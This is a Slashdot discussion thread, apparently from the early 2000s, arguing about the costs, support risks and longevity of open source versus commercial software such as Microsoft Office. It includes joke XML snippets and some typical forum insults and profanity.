    63. Re:In the long run by woogieoogieboogie · · Score: 1
      We can just spend hours on the phone explaining to the average retard what should have been on page 2!

      So someone is a retard because they are not an expert on a single product like you. Did you know your mechanic, doctor, lawyer etc all could think the same about you. Could you imagine your dentist saying

      "You retard, you are supposed to get all the plaque off of your teeth. What idiot taught you how to brush. Now you are wasting my time by making me have to earn the dental bill I am sending you by cleaning your teeth. You know there are other people who have more important dental problems I could be fixing and now you are wasting their time by not brushing your teeth properly"

      And FYI, we have several highly professional tech support people we contact on a daily basis. They understand that they are the experts on that one particular system and that we depend upon them to resolve issues quickly, just as our users depend upon us to resolve their issues. It is the chain and any tech support person who does not understand this will not have a very profitable career.

      --
      ... Governments are instituted among Men, deriving their just Powers from the Consent of the Governed...
    64. Re:In the long run by Anonymous Coward · · Score: 0

      Like commerical software, OS products too can limited support. The answer is to fully research and evaluate an OS alternative as part of your software selection process (e.g., Sourceforge viability, in house language expertise, guns for hire costs, etc.) Additionally, testing and evaluation is key. Not all commerical software has great support (i.e., timely, cheap, available) either and with the .com bust many "niche" vendors are gone now too. Commerical or OS is a buyer beware scenerio, you have to do your homework and make the right business choice.

      I have seen NUMEROUS commerical/proprietary vertical software products that have shiney web sites and brochures. They are the first to "sell" you on their product. Is that a guarantee of viability :) OS products/communities (e.g, sourceforge, etc.) invite you in so you can see for yourself. No Sales people, no brochures. Every OS product may not be Apache :) and the "Joe bag of dounts POS system" exists commerical too :)

      When it doubt, I like knowing that I have the code and in case of emergency I CAN BREAK THE GLASS. If the "Joe bag of dounts POS system" reopens as sunshine car rental tomorrow..what are u gonna do?
      The BBB is not going to be able to get your POS system working:)

  2. WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

    go figure :)

    1. Re:WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

      No, they use Linux. Linux is a registered trademark of Linus Torvalds. The trademark is for "computer operating system software." That is to say, "Linux" is the name of the operating system, not just the kernel as some would have you believe. Because "Linux" is a registered trademark, no one may modify or otherwise dilute Torvalds's trademark without his explicit permission. Therefore the term "GNU/Linux," apart from being incorrect, is trademark infringement.

    2. Re:WTFDIK, but Google uses GNU/Linux by mumblestheclown · · Score: 2, Insightful
      Google (essentially) does a single thing over and over again. unix is great for that. If I was building a chess playing computer or a FFT solver, I'd use a unix clone too, and probably a free one at that.

      But don't compare that to general purpose business computing.

    3. Re:WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

      You mean general purpose computing like running payroll over and over again, databases, serving web pages, tracking stocks...
      Business is repetitive. That's why computers were made, to do the same thing over and over quickly.

      Come back when you have one ounce of brains in that ugly ear-spacer you call a head, you troglodite.

      See you in a millenium!

    4. Re:WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

      Hey mumbles, the next time I get moderator points, I'm spending them all on your trolling ass.

    5. Re:WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

      I'm in. Time for us to use our mod points for good rather than evil!

      Join the open source Mod Mumbles Movement!

    6. Re:WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

      I've been doing this to the blatant trolls that get modded up by idiots for a while now. Just go back to their older but still moderatable posts and fuck with them.

    7. Re:WTFDIK, but Google uses GNU/Linux by kalidasa · · Score: 2

      Google (essentially) does a single thing over and over again. unix is great for that. If I was building a chess playing computer or a FFT solver, I'd use a unix clone too, and probably a free one at that. But don't compare that to general purpose business computing.

      You're going to have to back that statement up, mumbles. Can you define a group of five "general purpose business computing" applications (meaning tasks rather than products) that a non-UNIX does better than a UNIX?

    8. Re:WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

      I've hit the Karma Cap and still can't moderate.

      Fucking Slashdot editors must be checking who the AC's really are!

    9. Re:WTFDIK, but Google uses GNU/Linux by Anonymous Coward · · Score: 0

      Bluescreen, lock-up, release sensitive data in documents, get a virus, promote idiotic behavior...
      M$ has that market, only because everyone else doesn't want it.

    10. Re:WTFDIK, but Google uses GNU/Linux by 0x0d0a · · Score: 2

      Hehe...someone send this to the Debian mailing list. I wanna see the feathers fly...

  3. Re:Nice, subtle by Anonymous Coward · · Score: 0, Insightful

    wow! how did you ever do a whois on him....it's not like it tells his hostname or ip.
    just a thought

  4. One benefit by cdf12345 · · Score: 5, Insightful

    Well, here's why open source is still economically sound. As todays software companies start moving to timed software licenses, open source will be around. So in two years you may be writing a check every year to microsoft for the right to use Office. But if microsoft folds then you are out of your entire investment and you have no access to the data you created while using the service.

    With open source if the devo team quits, folds, or stops supporting their software you still have all the information to continue to use and improve the software you're using.

    I don't believe that makes open source more expensive, I believe it makes it more flexible.

    --
    Chicago2600.net more than a lifestyle, its a survival trait.
    1. Re:One benefit by tmark · · Score: 5, Insightful

      With open source if the devo team quits, folds, or stops supporting their software you still have all the information to continue to use and improve the software you're using.

      This argument presupposes that companies want or are able to support the staff necessary to "continue to use and improve the software you're using". Most do not.

      Most companies out there would prefer to take their chances on Microsoft's long term viability then they would on taking the chance that some Open Source project is going to continue to be actively developed. Why ? Because the costs associated with the (miniscule) chances of a Microsoft going under and abandoning (say) Office users whole-hog are very small compared to the costs associated with having to take on a developer or three to maintain some open-sourced program whose chances of dropping off the radar screen or having its developers lose interest are much, much higher.

    2. Re:One benefit by Twirlip+of+the+Mists · · Score: 3, Insightful

      As todays software companies start moving to timed software licenses, open source will be around.

      Bzzt. FUD alert. Who, exactly, is moving to temporary software licenses? It's common practice in the commercial world for vendors to issue temporary software licenses until the customer has paid in full-- when you're selling $500,000 cuts of software, it's common for the customer to choose the installment plan-- but at that point, the customer gets a permanent hardware or software license key.

      So where do you get the idea that "todays [sic] software companies" are starting to move to temporary licenses? Microsoft has never sold software with a temporary license. Under Licensing 6.0, companies can choose to accept a mandatory upgrade agreement in order to keep up-front costs down, but you can still buy a permanent license for any Microsoft product if you want it.

      With open source if the devo team quits, folds, or stops supporting their software you still have all the information to continue to use and improve the software you're using.

      Technically that's true, but most companies would not exercise that option. If their open source software vendor-- or guy in his garage, or whatever-- closed up shop, they'd either keep using the software without any support at all, or they'd choose different software. The burden of having to basically start an in-house software engineering group to maintain and modify an abandoned open-source program is pretty unreasonable for most companies.

      --

      I write in my journal
    3. Re:One benefit by Anonymous Coward · · Score: 0

      I would think the Microsoft folding part in his theory would be the sticking point, to be honest.

    4. Re:One benefit by Kevin+Stevens · · Score: 5, Insightful

      Open source has alternatives for more than just Office and windows. Lets say we download a piece of software that converts html to pdf or something like that. I would say the cost of a piece of closed source software would be about $50 for that. Now lets say you go to sourceforge, and get the same thing. ok, you saved $50. Oh but wait there is only a source version, I have to compile it. Doh. There is a dependency issue. I have to go find some library on the net. Ok found it. Doh. It wont work/compile with XP/Gcc Version whatever. Doh. The guys who wrote the software are not supporting it anymore and have moved on to other projects. Doh. John in sales has no idea to change the source code so that he can put a watermark on each page. He sends it to Mark on IT who then spends a few hours looking at and changing the code. Oh wait. weve spent alot of tine looking at this thing. Mark in IT's time alone was equivalent to more than $50.

      This is obviously dramatized a bit, but still. The argument that open source is open and can be changed is very misleading. Any programmer time is exremely expensive. If you fix that bug yourself, it will almost definitely cost you more than that program off the shelf.

      I went on some tangents, but it is clear that open source CAN cost more than off the shelf software, and has similar pitfalls to off the shelf software.

    5. Re:One benefit by pmz · · Score: 3, Insightful

      And considering that Office 11 is apparently openly based on XML file formats, this is a sticking point in your theory.

      It is likely that Microsoft's XML-format files will, in fact, be proprietary in nature. Remember, XML does not imply open, but, instead, it implies structured. Microsoft can use a proprietary DTD along with binary encoded data in between tags to make the Office 11 format no better than any current or past Office file format.

    6. Re:One benefit by djrogers · · Score: 3, Funny

      Of course at my last job the option would have been spending 4 hours on our internal procurement process, and two weeks waiting for our 'preferred' vendor to send me the wrong disk....

      --
      Think outside the... Hey, where'd the friggin' box go?
    7. Re:One benefit by Anonymous Coward · · Score: 1, Funny

      here is a simple Office11 XML file:

      <?xml version="1.08b" encoding="MS-01234"?>
      <!DOCTYPE document PRIVATE "mstp://office11.microsoft.com/docume~1/script.asp .net?doctype=office11+transport=mskerberos >

      <document>
      <document-format format="MSWord" version="Office11"/>
      <!-- MICROSOFT HAILSTORM END USER LICENSING AGREEMENT

      By reading, parsing, downloading, viewing, posessing, being infected by, thinking about, or smelling this or any other microsoft document you agree to the terms, conditions, fees, and other stuff posted anywhere within the microsoft.com domain or any domain own by or affiliated with microsoft or any of it's affiliates or associates.

      *remainder of EULA comment snipped*
      -->

      <!-- This XML file contains software that was originally part of the Berkeley Software Distrubution, which is copyright it's respective authors -->

      <document-content>
      <!CDATA[ asofduy9hj89zxcvhl32nr9z8sdnf9283nz983wqrno23r2389 j9823j4nmlzsh987drh23qh45r238x8a979hjuvnl3289rhrkj szv978h23k.nznsd98fjhsfn32zuhjvoh3nu890uajf23nkads f82u34rjiaqraw98fjh23hr987y53ql1984y9tnqgbx
      (rema inder of encrypted binary document format snipped)
      ]>
      <embedded-component type="excel spreadsheet" alternate-type="vba macro">
      <embedded-content>
      <!CDATA[ (more encrypted binary data) ]>
      </embedded-content>
      </embeded-component>
      </d ocument-content>
      </document>

    8. Re:One benefit by pmz · · Score: 4, Insightful

      Regardless of cost, Open Source software is inherently safe from volatility among commercial vendors like Microsoft. Open Source software is, by definition, fully documented and non-proprietary. Yes, source code does count as documentation, because it can be used to understand things like binary data formats when printed manuals are not available. The source code can save your ass, given that you'd be completely out of luck trying to interpret proprietary data. Yes, it may be inconvienient, but, at least, you aren't bound by the testicles to Microsoft's whims about forward and backward compatibility, licensing, planned obselesence, etc.

      Documentation created today should be readable tomorrow and ten years from now. Is that true of Microsoft Word or Powerpoint? Now, how about text, LaTeX, and Open Office? I do believe that Word is the most dangerous file format invented...do you know how many companies have all their documentation in Office formats? Wouldn't they feel safer knowing that their documentation isn't fundamentally bound to one company's products? Unfortunately, they don't think about such things. Perhaps that is darwinism on a large scale.

    9. Re:One benefit by Anonymous Coward · · Score: 0

      unless you read the source enough (or look through your records) to find the original author. In 10 years, when you find a bug or need something ported, Rational won't be around. There's nothing you can do about it, no matter how much money you have (not much, after paying Rational). But with an open source project, even if the author was struck by lightning you can proove Fred Brooks wrong by waving cash in the air, but a much more likely scenario is to call up (or email) the author, and wave a much smaller sum in front of him. It may take a week for him to get back up to speed (two if he has a day job -- a small risk.) That's ten times faster than you could hope to get acknowledgement from Rational or whatever other 6 figures/license company you pay for a problem you'll find *now*

    10. Re:One benefit by nycjay · · Score: 3, Interesting

      Yes, it will cost time/money for your IT guy to find the problem. But.... once he finds it and compiles, he can (usually) distribute it out to the whole company w/o incurring a $50 licence fee per box.

      --
      Oh boy, a Bot-Mitzvah... Shalom hunger, Shalom free food...
    11. Re:One benefit by workindev · · Score: 0, Flamebait

      2 points of argument:

      1) Microsoft is the worlds largest software company, worth billions and billions of dollars and with over 90% of the market share. Lets just avoid the whole "if Microsoft folds" theme. Its not going to happen.

      2) If you want to talk about things that are likely to fold, look at the thousands upon thousands of OSS projects that fall away into endless bickering and non support by the developers. In fact, you can probably count the amount of "successful" OSS projects on 1 hand. I've seen far more OSS projecs end up in fighting, rifts, and splinters than I have major software companies suddenly stop supporting popular products. If your a business end user and your open source software that you were using suddenly forks into 3 projects because pig-headed developers couldn't agree on what color the penguin icon should be, your stuck with a dead project. Then you either wait for somebody else to pick the project up, or you hire your own programmers to continue. Still sound cheap?

    12. Re:One benefit by BeBoxer · · Score: 5, Insightful

      Actually, how many 10 year old products does Microsoft support? Note, I'm not asking how about current versions of 10 year old product lines. How many 10 year old versions of anything does Microsoft support? My guess is the answer is zero. Zilch. Nada. In fact, this is true of almost all companies.

      In the commerical software world, you cannot use the same product for 10 years. You will purchase upgrades, and you will purchase new hardware to run those upgrades if you want support. Why? Because any company that doesn't make you do that will be bankrupt in 10 years.

      Depending on what you're doing, the support issue can fall either way. If you want to set up a dedicated system which you want to just sit and run doing the same job for 10 years, I'd argue that open source is probably the right tool for the job. On the other hand, if by "support" you mean a continuous stream of upgrades and feature improvements (whether you want them or not), than a commercial product might make more sense.

      Since in this case, it sounds like what's being spec'ed is just something that needs to sit and work for 10 years open source is the perfect fit. I suspect that after a couple of years of stable operation, the ongoing support costs for the open source solution would drop to near zero.

    13. Re:One benefit by Kevin+Stevens · · Score: 2

      I see the holes in my argument, but there are many people who think that the whole cost or 95% of owning a piece of software is the purchase price, and dont take into account the fact that admins cost a measurable amount of money. I was aiming the post more towards those type of people who just see the initial cost as the only cost of a piece of software and then cheerlead for OSS.

    14. Re:One benefit by Platinum+Dragon · · Score: 1

      Ironically, I read this post right after reading yours.

      The company may be around, but that doesn't guarantee the support will.

      --

      Someday, you're going to die. Get over it.
    15. Re:One benefit by DunbarTheInept · · Score: 2
      And considering that Office 11 is apparently openly based on XML file formats
      When MS claims it's going to do something openly without the intent of screwing the standard up to mutate it into a proprietary one, I will never believe them until it has already happened. You might call this predjudicial, but I call it basic pattern recognition capacity combined with a functioning memory.
      --

      Don't label something "offtopic" unless you know the topic well enough to tell what's on topic.

    16. Re:One benefit by linuxtelephony · · Score: 1

      So where do you get the idea that "todays [sic] software companies" are starting to move to temporary licenses?

      Antivirus software for one. Not uncommon for multi-machine licenses to have terms. When looking for enterprise anti-virus software, I could go and purchase a shrink-wrap at the store and presumably get a version as long as I choose to run it. Or, purchase the "enterprise" version where I would be licensed for 1 year or 2 years (depending on choice). There was a separate purchase for the virus definition updates after the first year.

      --
      . 62,400 repetitions make one truth -- Brave New World, Aldous Huxley
    17. Re:One benefit by BlackSol · · Score: 4, Informative

      Hence why there are so many people that bash Microsoft.

      However there are long running commercial product lines, all fed by yearly support costs.

      Look at AIX, HP Unix, OS/390, and AS/400 software packages as specific examples, sometimes there are upgrades available but often not. Computer Associates and IBM are famous for long support contracts.

      There are manufacturing applications that are still running on OLD VAX systems that are still actively supported by their creators.

      --
      $sig=$1 if($brain =~ /idea\s+(.*)/i);
    18. Re:One benefit by Anonymous Coward · · Score: 0

      > ... Microsoft going under and abandoning (say) Office users whole-hog are very small compared to the costs associated with having to take on a developer or three to maintain some open-sourced program whose chances of dropping off the radar screen or having its developers lose interest are much, much higher.

      That reasoning is flawed.

      Though the chance of MS go fold is very small, however, any open source software important enough to attract a large amount of users, and business users relatively has a higher chance of survival than MS.

      Developers/maintainers can come and go, the source is out there and as long as the user base exists, the project exists. For example, there are still a lot of DOS users, including using DOS in embedded devices. These people are using and developing FreeDOS.

    19. Re:One benefit by DunbarTheInept · · Score: 4, Interesting

      If you think the benefit of changable code that open source advocates claim is purely based on in-house people making the changes, you aren't thinking it through. So long as SOMEONE SOMEWHERE makes that
      change you can gain from it. Over time this tends toward programs that the user population wants to use. The big problem most open source programs have is that their audience is typically tech-saavy people only, and therefore the changes that get made are driven by the needs of the tech-saavy only. It's not that the developers are unable to meet the needs of the less tech-saavy - it's that they have no incentive to.

      And that's why the most successful Open Source software is that software that tends to have a tech-saavy userbase ANYWAY regardless of whether it was Open Source or not. For example, syadmin tools, programming language compilers, dynamic web servers (not just serving static pages, but running programs on the server), ascii text editors, and so on.

      The other place Open Source software does very well is in an embedded device where the user never deals directly with the software anyway.

      The only way closed source software has saved ME time is that when it says something cannot be done, I tend to believe it more, so I don't waste much time TRYING to get it to work. I just accept that it's hopeless and move on.

      --

      Don't label something "offtopic" unless you know the topic well enough to tell what's on topic.

    20. Re:One benefit by Anonymous Coward · · Score: 0

      Open Source software is, by definition, fully documented

      In what universe do you reside? I want to live in yours.

    21. Re:One benefit by DunbarTheInept · · Score: 5, Funny
      In fact, you can probably count the amount of "successful" OSS projects on 1 hand.
      1. Apache
      2. XFree86
      3. Linux kernel
      4. FreeBSD kernel
      5. Gnome
      Damn, I ran out of fingers. Let's try the other hand.
      1. KDE
      2. Mozilla
      3. ReiserFS
      4. The TCP/IP stack itself, typically implemented in most OS'es off of BSD's source, including even Windows.
      5. RCS and CVS
      Okay, Hold on, let me take my shoes off. Sorry about the smell...
      1. This little piggy runs DNS Bind
      2. This little piggy firewalls with Drawbridge
      3. This little piggy edits text with vim
      4. This little piggy edits text with emacs
      5. This little piggy runs sendmail (yeah, it sucks compared to newer mail daemons, but it most certainly counts as "successful".)
      Now the other foot:
      1. This little piggy uses gcc.
      2. This little piggy uses Perl.
      3. This little piggy uses bash or tcsh.
      4. This little piggy uses Python.
      5. And This little piggy uses Slashcode to claim Open Source projects aren't very successful.
      Okay, I'd better stop. I've almost run out of appendages and you really don't want me to use the twenty-first one.
      --

      Don't label something "offtopic" unless you know the topic well enough to tell what's on topic.

    22. Re:One benefit by a_n_d_e_r_s · · Score: 2

      Very large empires has folded like the old Greeks, the romans and so on - why not Microsoft ?
      It may take some time but it is not unthinkable.
      Not long ago Microsoft was nearly broken in two separate companies - who says that this situation could not happen again ?

      However - if a open source project folds - you still have the source!

      You might want to support the further development or you might just switch to use another oipen source code base.

      But you still have a choice!

      Using a closed source product you are SNAFU when you are dependent on software where you do not have the source and the world changes and no competitor are available - with open source you have the option of hiring someone who can make the required changes to the software.

      --
      Just saying it like it are.
    23. Re:One benefit by bogie · · Score: 3, Informative

      But betting on MS really doesn't help when like most businesses you use software other then windows and Office. So while with MS your technically more "safe" form them going under, that doesn't help for all the other software out there. In the end commercial software can't guarantee lifetime support. While with Open source you can. Sure it may cost you, but as long as you have access to the source, you can pay someone to fix it. Maybe you don't want to, but that's a nice safety net that can never be taken away, unlike what you get with closed source software.

      "Most companies out there would prefer to take their chances on Microsoft's long term viability then they would on taking the chance that some Open Source project is going to continue to be actively developed"

      The only thing that guarantees is that long term you'll be under the thumb of MS and its heinous licensing fees.

      That's the lemming point of view that has gotten the computer industry to the point where it is now. No innovation in markets that MS has a monopoly in. MS blinks and everyone takes out their wallets or stop developing software in that market.

      " maintain some open-sourced program whose chances of dropping off the radar screen or having its developers lose interest are much, much higher"

      That's why you choose wisely. Here is why that point which always comes up is a complete red herring. I wouldn't heavily invest my company in any commercial company who either a) may be on the skids or b) is brand new. The same logic applies to open source. Your not gonna pick some project that doesn't have a good track record. Choose your software wisely and you'll do just as well with Open source as you do with commercial, plus access to the code.

      So in conclusion if you have the staff to implement it, and have made sure there are support avenues available, there is no situation where Open Source doesn't trump commercial software Period.

      --
      If you wanna get rich, you know that payback is a bitch
    24. Re:One benefit by poot_rootbeer · · Score: 2


      The flaw in your example is that if you want to modify the closed-source commercial HTML to PDF converter so that there's a watermark on every page, and the product doesn't already support it, you're SOL.

      To compare the costs of open and closed source solutions for a problem, the solutions have to have exactly the same features. Any differences have to be factored into the perceived value of that solution.

    25. Re:One benefit by Twirlip+of+the+Mists · · Score: 2

      The important point here is that you could "go and purchase a shrink-wrap at the store and presumably get a version as long as I choose to run it." Anything above and beyond that is just volume pricing, at which point the vendor can license it to you however they like.

      Now that that's out of the way, let's consider the software itself and the service as separate items. The software itself is yours; read your license agreement. You can use it for as long as you like. The service, a period of which comes bundled with the software, provides you with virus definitions. Naturally, you have to pay for the service if you wish to continue using it.

      Just to reiterate, the software itself is yours forever and ever. There is no temporary license associated with the software.

      --

      I write in my journal
    26. Re:One benefit by Anonymous Coward · · Score: 0

      you're.

    27. Re:One benefit by Anonymous Coward · · Score: 0

      FOE.

    28. Re:One benefit by kcbrown · · Score: 3, Insightful
      The only thing is that if MS or whoever stores their apps data in an open format, someone will just need to write a filter to whatever replaces MS.

      And considering that Office 11 is apparently openly based on XML file formats, this is a sticking point in your theory.

      Sigh.

      I really wish people would get a clue about XML.

      The following is valid (more or less...enough to make the point) XML:

      <ms-word-encrypted-document>
      9hg9tB6cneZMjdK6tDb0 P1z2TIWW7M9I4h7jl/LIh2krlf04bo+m+Q0MeL/UNWaoKnTML7 YNn1i1
      iGwbqAKJeZ+nAGUlT9dAn0FLDJIqjnR1xOQRNCEVbk as5AG0rU1lelRbF1zkJj1B661t1xabc3wV
      kjQATAMztUXeWY 8y3xE=
      </ms-word-encrypted-document>

      Now if you think you can write a filter that can translate the above or something like it into a useable document without inside information, you're welcome to try. But you'll have no more success than you would if you were trying to reverse engineer the current Word format.

      The fact that a document is in XML doesn't mean shit, and I wish people would get that through their heads.

      --
      Use 'slashdot stuff' in the subject line in any email you send me if you want to get past the spam filter.
    29. Re:One benefit by Anonymous Coward · · Score: 0

      Apache - Yes, definitly a popular project

      XFree86, Linux, Gnome, Kde, et al - Yes, successful. But most people count them as a single project as all distros include every one of them

      FreeBSD - Sure, its popular in the server market, but its riddled with problems. Lets just say that I've had more than 1 CVS update completely screw over my system

      Mozilla - I wouldn't chalk this one up as a success story. Mozilla/Netscape have sucked themselves into obscurity ever since they went open source.

      TCP/IP - When did we start talking about open protocols here?

      DNS Bind - Successful

      ReiserFS, CVS, RCS, etc. - What?

      vim, emacs - Outside the nerd kingdome, these would not be considered "successful"

      Perl, Python, Gcc, Bash, Tcsh, etc - Sure.

    30. Re:One benefit by cballowe · · Score: 2, Interesting
      Your analysis is way off...
      Suppose you're a large company (fortune 500) -- you probably have at least 2500 desktop/laptops in the field (if not 50000). 2500 * $50 = $125000. Now -- suppose you have several open source products. say 5 -- that's $625000.


      Now -- to support these apps you hire say 3 full time employees at the ~$90K range (after benefits that's maybe $135K each if you have a nice benefits package). That's $405000 -- $625000 - $405000 is a savings of $220000.


      Ok... this is only first year layout and a major over estimate of support personel needed. In their spare time, these same 3 people, can maintain a good number of servers, develop new custom internal apps, enhance old apps, be subject matter experts available within the company and any number of other tasks. In reality, they'd probably be spending less than %15 of their total time on support of the open source desktop apps. So, that's $60750/yr to support those apps... less than 1/10 of the purchase price.

    31. Re:One benefit by TKinias · · Score: 2, Informative

      Kevin Stevens wrote:

      Now lets say you go to sourceforge, and get the same thing. ok, you saved $50. Oh but wait there is only a source version, I have to compile it. Doh. There is a dependency issue. I have to go find some library on the net. Ok found it. Doh. It wont work/compile with XP/Gcc Version whatever.

      Or you just use Debian: apt-get install foo

      For things like basic file utils, it really is as easy as that. Arguing that it's some kind of huge effort to install a new prog in Linux is either FUD or evidence that one hasn't ever used a decent distro. This isn't 1996.

      --
      In principio creauit Linus Linucem.
    32. Re:One benefit by Anonymous Coward · · Score: 0

      Your story assumes a cheap little $50 app. What about JBoss, Axis, Tomcat and Eclipse? The system I'm working on is distributed with it's own app server, web server, and database to each of 400+ clients. Had we done this with a commercial installation (as my prev employer did), it would cost tens of thousands of dollars per client! That's before we even add our application and programming costs.

      Today, we can send them a brand new linux box with the entire app installed, and all they need to do is plug it in.

    33. Re:One benefit by theLOUDroom · · Score: 2

      You aren't really being fair here. $50 will only cover one license. You have to multiply that $50 by the number of machines it needs to be installed on.
      If you need to intstall this software on a mere 20 computers, you're already talking $1000.
      If some it guy has to muck around compiling something for a few hours, that time will still work out to less than $1000.
      Now let's say you decide you need to watermark thing like you said: What a shame, but the version of the software you bought doesn't support watermarking. You're either SOL or you have to buy the new version/professional version/different program. You left out this money too.

      I'm not trying to claim that OSS is always the cheapest way to go, just don't forget that companies almost always need more than one copy of a program. This needs to be figured into the cost.

      --
      Life is too short to proofread.
    34. Re:One benefit by Beliskner · · Score: 2
      In the commerical software world, you cannot use the same product for 10 years. You will purchase upgrades, and you will purchase new hardware to run those upgrades if you want support. Why? Because any company that doesn't make you do that will be bankrupt in 10 years
      ...and this is why planned obsolescence has existed in software since the start. It just hasn't been made official
      --
      A caveman dreams of being us, the incalculable power and riches. We dream of being Q, then what?
    35. Re:One benefit by Beliskner · · Score: 2
      It's common practice in the commercial world for vendors to issue temporary software licenses until the customer has paid in full-- when you're selling $500,000 cuts of software, it's common for the customer to choose the installment plan-- but at that point, the customer gets a permanent hardware or software license key
      With the transition to web services (based in India - cheapst developers) the IT industry's model will switch to a rental one. This may even be superior to GPL software which is subject to tyranny of the developer, as web services is "tyranny of the customer", in line with the rest of corporate America.
      --
      A caveman dreams of being us, the incalculable power and riches. We dream of being Q, then what?
    36. Re:One benefit by gurensan · · Score: 1

      It's time to stop nitpicking, and to prove it, I'll do some of my own:

      Apache - everyone agrees.

      XF86, KDE, Gnome, blah, blah... no one in their right mind thinks of these as one project. Do you know what's in that little box on your desk?

      FreeBSD - stop using CVS. Only idiots and developers update through CVS. Stable systems use releases. Successful as hell.

      Mozilla - Opened to save the codebase and pride of a company killed by technically illegal market leveraging. Succeeded in that respect. Still a nice browser, if one likes the look of Netscape.

      TCP/IP - OSS through and through. Before you could use the protocols, someone had to implement them. Project, yes. Successful, hell yes.

      DNS/Bind - Yup. Right on that one. Better exist, but are not widespread. Prone to drop you to a shell at the drop of a hat, but successful, definitely.

      ReiserFS, CVS, RCS - If you don't know what CVS is, what are you doing updating FreeBSD through it??

      Emacs, vim - I agree. Except for that without vim, many Unices wouldn't come with an editor and every admin should know to use it - if he doesn't, I'd fire him.

      Perl, Python..etc. - Agree here. But, why aren't you lumping bash with the second item above?

      This has gotten OT.

      --
      You are all fartheads.
    37. Re:One benefit by p3d0 · · Score: 1

      Nicely done.

      --
      Patrick Doyle
      I mod down every jackass who puts his moderation policy in his sig. Oh, wait a sec....
    38. Re:One benefit by fini · · Score: 1

      I've almost run out of appendages and you really don't want me to use the twenty-first one.
      What's wrong with your nose ?
      --
      SNS Not Sig
    39. Re:One benefit by EvilTwinSkippy · · Score: 2
      But Mark in IT can do that whole job in about 15 minutes and have an install script to populate your workstations in 20.

      Now Mark's time (At $80/hour) * (rounding up) 1 hour: $80

      Divide 80 by the number of copies. Not much for one copy. Better for 2 copies. When you get up to 200 copies, it really starts to pay off.

      --
      "Learning is not compulsory... neither is survival."
      --Dr.W.Edwards Deming
    40. Re:One benefit by Anonymous Coward · · Score: 0

      In the commerical software world, you cannot use the same product for 10 years

      Actually in the Microsoft world you often can. This is easily proven by picking out a random selection of 1992-era business software and attempting to run it on Windows XP -- most, if not all of them will run just fine. Last year, I migrated a company's main system off a DOS database written in 1988 that was running on Win2000 without issues (except lack of functionality).

      This is far different from the Linux situation where the ABI breaks every major distro release, and is a crapshoot for even minor library upgrades.

      Until Linux delivers long-term binary compatibility, it will be useless in a business capacity. "Use the source" is useless if the people have no idea what to do with it.

    41. Re:One benefit by vasqzr · · Score: 1


      10 years? Obviously, you've never heard of Windows 3.1 (it's still out there), Windows 95 (give it another year or two), Windows NT 4.0 (people are still installing NT on NEW servers today), Novell 3.11, OS/2 version whatever, the ancient AS/400 we have, this horrible accounting program we've been using in DOS for like 13 years, WordPerfect for DOS that Law offices still use.....

    42. Re:One benefit by Anonymous Coward · · Score: 0

      Or you just use Debian: apt-get install foo

      You're thinking like a guy with one box you maintain only for yourself.

      Lots of other people in the world don't have it that easy.

    43. Re:One benefit by Twirlip+of+the+Mists · · Score: 2

      With the transition to web services (based in India - cheapst developers) the IT industry's model will switch to a rental one.

      You're confusing web services with the application service provider model. They're not the same thing at all. And the ASP model has not been particularly popular to date, so the transition to it is far from a sure thing.

      --

      I write in my journal
    44. Re:One benefit by shnarez · · Score: 1
      The burden of having to basically start an in-house software engineering group to maintain and modify an abandoned open-source program is pretty unreasonable for most companies.
      Oh? And what are you going to do when the company you rely on for your closed proprietary software goes out of business, and the software sits in limbo with NO support, NO company picking up support and development, and meanwhile you're dependent on it, but can't fix it and NO ONE can answer your tech questions? Who are you going to cry to? The shareholders?

      What options do you have? None. Go buy another package.

    45. Re:One benefit by Anonymous Coward · · Score: 0

      You just made my foes list.

    46. Re:One benefit by Twirlip+of+the+Mists · · Score: 2

      Exactly. Which is why the only sensible course of action in most cases is to bet on the horse that you think is most likely to stay in the race longest. Which is more likely? That Microsoft will go out of business, or that Red Hat will go out of business? Smart money's on the Fortune 100 company with $40 billion in the bank.

      You're finally starting to think like a businessman.

      --

      I write in my journal
    47. Re:One benefit by workindev · · Score: 1

      I guess I need to clarify what I ment by "successful". I don't think that any slashdot reader is going to disagree with you that those projects are important have been met with great success within the open source community. But if you look at the OSS projects that have really garnered widespread recognition, development, and support, the list is relatively short. I mean, the only open source project that you ever really read about outside slashdot is Linux, maybe Perl, and maybe Apache.

      You can do a search on freshmeat and find an open source application for just about anything. The problem is that 99% of those projects have either A) Never gotton past Alpha before the (sole) developer bugged out and moved on or B) Users started arguing or complaining about meaningless things, leading to dozens of "splinter" applications with a fraction of the attention they should be getting. The result is that most fall away into outdated nothingness. Postnuke is one such project that seems like its heading down this path. We've all been there -- you download a cool looking OS app, but when you try to compile it you discover that it never really made it past Alpha, it has all kinds of outdated library depedencies, and there is absolutely no development support on it any more. What good does it do?

      I was simply trying to debunk the arguement that a company is better off using OSS simply becuase they can use the code if the project goes away. My point was that Open Source projects seem to go away more often than commercial projects, and a company is no better off because the source is available. They still need to pay somebody to update and support the program. I guess because I didn't praise linux in my post it got modded down as "flaimbait". Oh well.

    48. Re:One benefit by Anonymous Coward · · Score: 0

      You have a point, as of earlier this year I was still using win95 some. but our context here is getting support fom the vendor for that product. MS support for Win95 died years ago.

      (p.s. 2002 - 1995 10 years )

    49. Re:One benefit by Anonymous Coward · · Score: 0

      Thanks, I understand. Despite your slander and profanity, I am basing my opinion on published reports by people like he co-creator XML who rave about the format. That implies to me that its useful

      "What happened to the beaches and the scantily clad women?" "that was a demo"

    50. Re:One benefit by Anonymous Coward · · Score: 0

      You just try call'ing Microsoft and get a fix for all those damn blue-screens with Windows 3.1

      When you do, I'll accept your claim that it is supported.

    51. Re:One benefit by marauder404 · · Score: 2

      You're right, it depends on the spec. If the commercial application does everything that they anticipate will be needed in the next ten years, there's nothing wrong with that solution. If they need to make changes later on down the road, the spec was wrong! The spec should determine what kinds of adaptations the application requires and how it proposes to do that. There's no reason to modify the application, open source or commercial, if the needs don't change (bug fixes excepted). If you want to add all kinds of bells and whistles, you can pay for a developer to make those kinds of changes (at greater cost than 10% of one FTE) or you can pay for upgrades.

    52. Re:One benefit by Anonymous Coward · · Score: 0

      >> In fact, you can probably count the amount
      >> of "successful" OSS projects on 1 hand.

